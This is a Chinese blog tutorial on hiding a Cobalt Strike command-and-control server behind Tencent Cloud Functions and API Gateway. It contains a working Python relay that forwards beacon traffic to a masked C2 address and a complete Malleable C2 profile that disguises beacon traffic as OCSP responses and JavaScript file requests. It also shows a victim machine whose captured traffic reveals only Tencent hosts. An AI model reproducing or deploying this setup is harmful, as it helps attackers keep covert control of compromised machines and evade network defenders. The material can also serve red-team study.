使用腾讯云函数隐藏C2

背景

基于CS,隐藏C2服务端有很多手段,常见如下:

  • 利用域前置
  • 走cdn域名
  • 利用云厂商服务
    其中域前置技术在18年及更早还比较有效,现在越来越多云厂商如cloudflare开始禁止域前置行为:
    在这里插入图片描述
    因此走cdn和利用云厂商服务是更加常用的方法

核心思想

核心思想其实很简单,就是由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端,因此该第三方服务最好具备以下特点:

  • 国内外访问速度都较快(客户端可能有国外情况)
  • 国外厂商
  • 价格便宜或完全免费
  • 主动提供免费加速域名
    若使用cdn加速技术,可考虑freenom+cloudfront,完全免费。
    本文以腾讯云函数+API网关为例,腾讯云函数作用就是用户可以不申请云机器,却可直接写代码(支持python/c等),将特定请求进行处理或进一步转发。API网关即类似接口作用,将满足路由条件的请求转发给云函数处理。

腾讯云函数隐藏C2

所需组件:

  • CS 4.1版本
  • 腾讯云账号(API网关第一年免费)
  1. 函数服务->函数管理处,使用python3.6语言,创建一个hello word模板,使用python将所接受请求转发给我们的C2服务端 ,点击部署,代码如下:
    其中main_handler函数的event包含了请求的头等数据。
    在这里插入图片描述
# coding: utf8
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://45.xx.xx.45:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print('error')
        print(e)
    finally:
        return response
  1. 函数服务->触发管理->创建触发器,具体参数如下,触发器作用是用来触发刚刚我们写的云函数
    在这里插入图片描述
  2. 创建完触发器后,点击API服务名,跳转到API网关页面,点击编辑,配置网关的路由
    在这里插入图片描述
    在这里插入图片描述
  3. 仅修改路径为/就可以,其他配置不用动
    在这里插入图片描述
  4. 点击立即完成,发布服务即可
    在这里插入图片描述
    6.新增C2的profile文件,命名为win_tecent_cloud_func.profile
set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
  1. 服务端启动
    在这里插入图片描述
  2. 将云函数的公网接口地址域名填入listener的http hosts和stager的hosts
    在这里插入图片描述

在这里插入图片描述
9.成功上线
在这里插入图片描述
10. wireshark抓包受害机,可以看到都是和腾讯host和ip的通讯
在这里插入图片描述
在这里插入图片描述
11. 走https同理,云函数那边python代码记得改成https。可以看到为加密流量
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值